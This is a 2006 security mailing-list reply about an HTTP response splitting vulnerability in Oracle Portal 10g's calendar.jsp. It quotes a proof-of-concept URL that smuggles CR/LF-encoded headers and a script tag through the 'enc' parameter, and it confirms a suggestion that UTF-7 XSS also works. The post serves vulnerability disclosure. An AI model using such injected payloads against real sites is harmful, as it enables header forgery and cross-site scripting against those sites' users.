Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting

["putosoft softputo" <hasecorp () hotmail com>]

> From: "Brian Eaton" <eaton.lists () gmail com>
> To: "putosoft softputo" <hasecorp () hotmail com>
> CC: bugtraq () securityfocus com, full-disclosure () lists grok org uk
> Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
> Date: Wed, 20 Dec 2006 13:55:09 -0500
>
> On 12/20/06, putosoft softputo <hasecorp () hotmail com> wrote:
> > Oracle Portal/Applications HTTP Response Splitting
> > --------------------------------------------------
> >
> > Sample:
> >
> > http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E
>
> So they let the URL specify the content-encoding?  They might be
> vulnerable to XSS via UTF-7 as well.
>
> Regards,
> Brian

Yeah, it is.

_________________________________________________________________
Moda para esta temporada. Ponte al día de todas las tendencias. 
http://www.msn.es/Mujer/moda/default.asp